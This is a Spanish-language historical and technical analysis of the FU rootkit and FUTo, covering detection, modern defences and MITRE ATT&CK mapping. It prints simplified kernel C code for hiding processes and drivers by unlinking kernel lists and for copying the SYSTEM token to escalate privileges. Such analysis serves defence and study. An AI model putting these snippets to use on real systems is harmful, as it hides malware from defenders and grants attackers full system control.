FU Rootkit: Análisis del Rootkit DKOM que Cambió la Historia
Análisis técnico del FU Rootkit de Jamie Butler (2004). Primera implementación pública de DKOM para ocultar procesos, drivers y elevar privilegios en Windows.
El rootkit que enseñó a manipular el kernel
En agosto de 2004, Jamie Butler subió al escenario de Black Hat USA para presentar una herramienta que cambiaría la investigación de rootkits para siempre. FU Rootkit no era el primer rootkit de kernel para Windows. Pero fue el primero en demostrar públicamente que no hacía falta hookear funciones del sistema para ocultar procesos: bastaba con modificar los datos que esas funciones leían.
La técnica se llamaba DKOM (Direct Kernel Object Manipulation). Antes de FU, los rootkits de kernel interceptaban llamadas al sistema via SSDT hooking. FU demostró una alternativa más sigilosa: manipular directamente las estructuras de datos del kernel de Windows. Sin patches al código ejecutable. Sin hooks detectables. Solo datos modificados.
Contexto histórico: el estado del arte en 2003-2004
Rootkits antes de FU
Los rootkits de Windows evolucionaron en tres fases previas a FU:
-
User-mode rootkits (1999-2001): modificaban binarios del sistema (
netstat.exe,taskmgr.exe) o hookeaban funciones de la API de Windows en user space. Detectables comparando los binarios con copias limpias. -
SSDT hooking (2001-2003): rootkits como Hacker Defender hookeaban la System Service Descriptor Table para interceptar
NtQuerySystemInformation,NtQueryDirectoryFiley otras syscalls. Más profundos que user-mode, pero dejaban huellas: los punteros de la SSDT apuntaban fuera del rango de ntoskrnl.exe. -
IAT/EAT hooking: variantes que hookeaban las Import/Export Address Tables de módulos del kernel. Más selectivos que SSDT hooking pero con las mismas limitaciones fundamentales: modificaban código o punteros a código.
El problema de los hooks
Todos los rootkits basados en hooking compartían una debilidad: modificaban algo verificable. Una herramienta de detección podía:
- Comparar los punteros de la SSDT con los originales de ntoskrnl.exe
- Verificar que los entry points de funciones no estaban parcheados (inline hooks)
- Comprobar que las IAT/EAT apuntaban a los módulos correctos
Jamie Butler y Greg Hoglund identificaron este punto ciego: nadie verificaba la integridad de las estructuras de datos del kernel. Las listas de procesos, las tablas de handles, los tokens de seguridad. Todos eran datos mutables que el kernel leía para responder consultas.
Arquitectura de FU Rootkit
FU seguía un diseño de dos componentes:
fu.exe (controlador user-mode)
Aplicación de consola que servía como interfaz de control. No contenía código de kernel. Sus funciones:
- Cargar el driver
msdirectx.sysen el kernel viaNtLoadDrivero la API del Service Control Manager - Enviar comandos al driver via DeviceIoControl (IOCTLs)
- Recibir resultados y mostrarlos al operador
// fu.exe: interfaz simplificada de comandos
// Uso: fu.exe -ph <PID> (process hide)
// fu.exe -prs (process restore, algunas versiones)
int main(int argc, char* argv[]) {
// 1. Abrir handle al device del driver
HANDLE hDevice = CreateFile(
"\\\\.\\msdirectx", // Device name registrado por el driver
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
// Driver no cargado, intentar cargarlo
load_driver("msdirectx.sys");
// Reintentar apertura...
}
// 2. Parsear comando y enviar IOCTL
if (strcmp(argv[1], "-ph") == 0) {
ULONG pid = atoi(argv[2]);
DeviceIoControl(hDevice, IOCTL_HIDE_PROCESS,
&pid, sizeof(pid), NULL, 0, &bytes, NULL);
}
CloseHandle(hDevice);
return 0;
}
msdirectx.sys (driver de kernel)
El nombre imitaba un driver legítimo de DirectX para pasar desapercibido en la lista de drivers cargados. Este componente contenía toda la lógica DKOM:
// msdirectx.sys: punto de entrada del driver
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
// 1. Crear device object para recibir IOCTLs
UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\msdirectx");
IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN,
0, FALSE, &deviceObject);
// 2. Crear symbolic link accesible desde user-mode
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\msdirectx");
IoCreateSymbolicLink(&symLink, &devName);
// 3. Registrar handler de IOCTLs
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FuDispatchIoctl;
DriverObject->MajorFunction[IRP_MJ_CREATE] = FuCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FuCreateClose;
// 4. Resolver offsets de EPROCESS para esta version de Windows
resolve_eprocess_offsets();
return STATUS_SUCCESS;
}
Resolución dinámica de offsets
Un problema clave de DKOM: los offsets de las estructuras del kernel cambian entre versiones de Windows. FU resolvía esto en runtime:
// FU determinaba el offset de ActiveProcessLinks dinamicamente
// Buscaba el PID del proceso System (siempre PID 4) en EPROCESS
// y calculaba el offset relativo de ActiveProcessLinks
void resolve_eprocess_offsets(void) {
PEPROCESS system_process = PsGetCurrentProcess(); // System process
ULONG system_pid = 4;
// Buscar el offset donde aparece el PID 4 en el EPROCESS de System
UCHAR* base = (UCHAR*)system_process;
for (ULONG offset = 0; offset < PAGE_SIZE; offset += sizeof(ULONG)) {
if (*(ULONG*)(base + offset) == system_pid) {
g_pid_offset = offset;
// ActiveProcessLinks esta justo antes o despues del PID
// (depende de la version de Windows)
g_activeprocesslinks_offset = offset + sizeof(ULONG_PTR);
break;
}
}
}
Funciones DKOM principales
1. Ocultación de procesos (EPROCESS unlinking)
La función central de FU. Desenlazaba un proceso de la lista doblemente enlazada ActiveProcessLinks:
NTSTATUS fu_hide_process(ULONG target_pid) {
PEPROCESS target_eprocess;
// Encontrar el EPROCESS del proceso objetivo
NTSTATUS status = PsLookupProcessByProcessId(
(HANDLE)(ULONG_PTR)target_pid, &target_eprocess
);
if (!NT_SUCCESS(status)) return status;
// Calcular la posicion de ActiveProcessLinks en este EPROCESS
PLIST_ENTRY list_entry = (PLIST_ENTRY)(
(ULONG_PTR)target_eprocess + g_activeprocesslinks_offset
);
// Desenlazar: el anterior apunta al siguiente, y viceversa
PLIST_ENTRY prev = list_entry->Blink;
PLIST_ENTRY next = list_entry->Flink;
prev->Flink = next;
next->Blink = prev;
// El proceso desenlazado apunta a si mismo
// Esto evita BSOD si alguien intenta recorrer desde este nodo
list_entry->Flink = list_entry;
list_entry->Blink = list_entry;
ObDereferenceObject(target_eprocess);
return STATUS_SUCCESS;
}
Después de esta operación, cualquier función que recorriera ActiveProcessLinks (incluyendo NtQuerySystemInformation con clase SystemProcessInformation) no veía el proceso. Task Manager, Process Explorer, tasklist.exe, todos ciegos.
Pero el proceso seguía ejecutándose. El scheduler de Windows usa las estructuras de threads (KTHREAD), no la lista de procesos activos, para decidir qué ejecutar.
2. Ocultación del propio driver
FU también ocultaba su driver de la lista PsLoadedModuleList:
NTSTATUS fu_hide_driver(PDRIVER_OBJECT driver_to_hide) {
// Cada driver tiene un DriverSection que apunta a LDR_DATA_TABLE_ENTRY
PLDR_DATA_TABLE_ENTRY entry =
(PLDR_DATA_TABLE_ENTRY)driver_to_hide->DriverSection;
// Desenlazar de InLoadOrderLinks
// (misma tecnica que procesos: manipular Flink y Blink)
PLIST_ENTRY prev = entry->InLoadOrderLinks.Blink;
PLIST_ENTRY next = entry->InLoadOrderLinks.Flink;
prev->Flink = next;
next->Blink = prev;
// Apuntar a si mismo
entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;
return STATUS_SUCCESS;
}
Con esto, herramientas como DriverQuery o el listado de módulos en un debugger no mostraban msdirectx.sys. El driver seguía cargado y funcional en memoria.
FUTo: la evolución
Peter Silberman extendió FU con capacidades adicionales, creando FUTo (publicado entre 2005-2006). Las adiciones principales:
Token manipulation (escalada de privilegios)
FUTo podía copiar el token de seguridad del proceso SYSTEM al proceso del atacante:
NTSTATUS futo_steal_token(ULONG target_pid) {
PEPROCESS system_process, target_process;
// Obtener EPROCESS de System (PID 4)
PsLookupProcessByProcessId((HANDLE)4, &system_process);
PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)target_pid, &target_process);
// Leer el token de System
PACCESS_TOKEN system_token = PsReferencePrimaryToken(system_process);
// Sobrescribir el campo Token en el EPROCESS del proceso objetivo
*(PACCESS_TOKEN*)((ULONG_PTR)target_process + g_token_offset) = system_token;
// El proceso objetivo ahora tiene los privilegios de SYSTEM
ObDereferenceObject(system_process);
ObDereferenceObject(target_process);
return STATUS_SUCCESS;
}
Esta tecnica (token stealing via DKOM) se convirtio en la base de la escalada de privilegios en exploits de kernel durante la siguiente decada. FUTo tambien incluia ocultacion de handles (eliminar handles sospechosos de la tabla del proceso) y ocultacion de puertos de red (manipular las estructuras internas del TCP/IP stack para que netstat no mostrara conexiones del malware).
Impacto en el ecosistema de rootkits
FU y FUTo generaron una cadena de rootkits DKOM que domino la decada 2004-2014:
| Rootkit | Año | Innovación sobre FU |
|---|---|---|
| FU | 2003-2004 | Primera implementación pública de DKOM |
| FUTo | 2005-2006 | Token stealing, handle manipulation |
| Shadow Walker | 2005 | DKOM + page table manipulation para ocultar memoria |
| Rustock | 2006 | DKOM + polimorfismo + anti-debug |
| TDL3/TDL4 | 2008-2010 | DKOM + bootkit MBR + driver virtual |
| ZeroAccess | 2009 | DKOM + filesystem virtual en disco |
| Necurs | 2012 | DKOM + anti-AV activo |
Todos estos rootkits usaban variaciones de las técnicas que FU demostró públicamente. La progresión es clara: FU probó que DKOM funcionaba; cada sucesor añadió capas de persistencia y evasión.
Detección: entonces y ahora
Herramientas disponibles en 2004
Cuando FU se presentó, las opciones de detección eran limitadas:
- RKDetector / IceSword: comparaban la lista de procesos del Task Manager con una enumeración alternativa via
CSRSShandle table. Si un proceso estaba en CSRSS pero no en la lista del sistema, era sospechoso. - GMER: una de las primeras herramientas en implementar cross-referencing de múltiples fuentes de enumeración de procesos.
- Blacklight (F-Secure): usaba técnicas propietarias para detectar DKOM, nunca publicó los detalles exactos.
El problema fundamental: todas estas herramientas corrían en el mismo sistema que el rootkit. Un rootkit suficientemente sofisticado podía subvertirlas.
Detección moderna
Hoy, FU sería detectable por múltiples capas:
# Memory forensics con Volatility (no disponible en 2004)
# psscan encuentra procesos desenlazados por pool tag scanning
vol3 -f memory.dump windows.psscan
# Comparar con pslist para identificar discrepancias
vol3 -f memory.dump windows.pslist
# PID en psscan pero no en pslist = proceso oculto por DKOM
| Defensa moderna | Contramedida contra FU | Disponible en 2004 |
|---|---|---|
| PatchGuard (KPP) | Protege SSDT/IDT (no listas DKOM directamente) | No (Windows Vista+) |
| Driver Signature Enforcement | Impide cargar msdirectx.sys sin firma | No (Windows Vista x64+) |
| Secure Boot | Impide bootkits que carguen drivers sin firmar | No (Windows 8+) |
| Volatility psscan | Pool tag scanning detecta EPROCESS desenlazados | No (Volatility: 2007) |
| ETW Threat Intelligence | Genera eventos al manipular tokens/handles | No (Windows 10+) |
| Hypervisor-based monitoring | Monitoriza escrituras a estructuras del kernel | No (HVCI: Windows 10+) |
| Kernel Data Protection (KDP) | Protege datos del kernel como read-only | No (Windows 10 20H1+) |
La evolución defensiva fue directa respuesta a las técnicas que FU demostró. PatchGuard, Driver Signature Enforcement y Secure Boot cerraron los vectores de carga. Volatility resolvió el problema de detección en memoria. ETW-TI y HVCI atacan el problema desde dentro del hypervisor, una capa más profunda que el kernel que FU manipulaba.
Mapeo MITRE ATT&CK
| Técnica | ID | Uso en FU/FUTo |
|---|---|---|
| Rootkit | T1014 | DKOM como mecanismo primario de ocultación |
| Hide Artifacts: Hidden Process | T1564.001 | Desenlazar EPROCESS de ActiveProcessLinks |
| Access Token Manipulation: Token Impersonation/Theft | T1134.001 | FUTo: copiar token de SYSTEM (PID 4) |
| Exploitation for Privilege Escalation | T1068 | Carga de driver requiere privilegios de administrador |
| System Binary Proxy Execution | T1218 | Carga del driver via SCM o NtLoadDriver |
| Modify Registry | T1112 | Registro del driver como servicio del kernel |
| Indicator Removal: Clear Windows Event Logs | T1070.001 | Versiones extendidas limpiaban logs |
Lecciones defensivas
FU Rootkit enseñó tres lecciones que siguen vigentes:
1. No confiar en una sola fuente de enumeración. Si Task Manager usa NtQuerySystemInformation y esta recorre ActiveProcessLinks, un atacante solo necesita manipular esa lista. Cross-referencing (comparar múltiples fuentes de verdad) detecta discrepancias.
2. La detección desde el mismo nivel que el atacante siempre pierde. Un rootkit de kernel puede subvertir cualquier herramienta que corra en kernel mode del mismo sistema. La detección fiable requiere un nivel inferior (hypervisor) o un sistema externo (memory forensics con Volatility sobre un dump).
3. Los datos son tan críticos como el código. La industria se enfocaba en detectar modificaciones de código (hooks, patches). FU demostró que modificar datos (listas, tokens, tablas) era igual de efectivo y más difícil de detectar. Esto impulsó el desarrollo de protecciones como Kernel Data Protection.
Fuentes y referencias
- Butler, J. & Hoglund, G. "DKOM (Direct Kernel Object Manipulation)." Black Hat USA 2004.
- Butler, J. & Hoglund, G. "Rootkits: Subverting the Windows Kernel." Addison-Wesley, 2005. ISBN 0-321-29431-9.
- Silberman, P. "FUTo: Advancing DKOM." Uninformed.org, 2006.
- Matrosov, A., Rodionov, E. & Bratus, S. "Rootkits and Bootkits: Reversing Modern Malware." No Starch Press, 2019.
- Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 7th Edition, 2017.
- Volatility Foundation. "Process Listing Plugins." Volatility 3 Documentation.
- MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/
- MITRE ATT&CK. "Access Token Manipulation (T1134)." https://attack.mitre.org/techniques/T1134/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.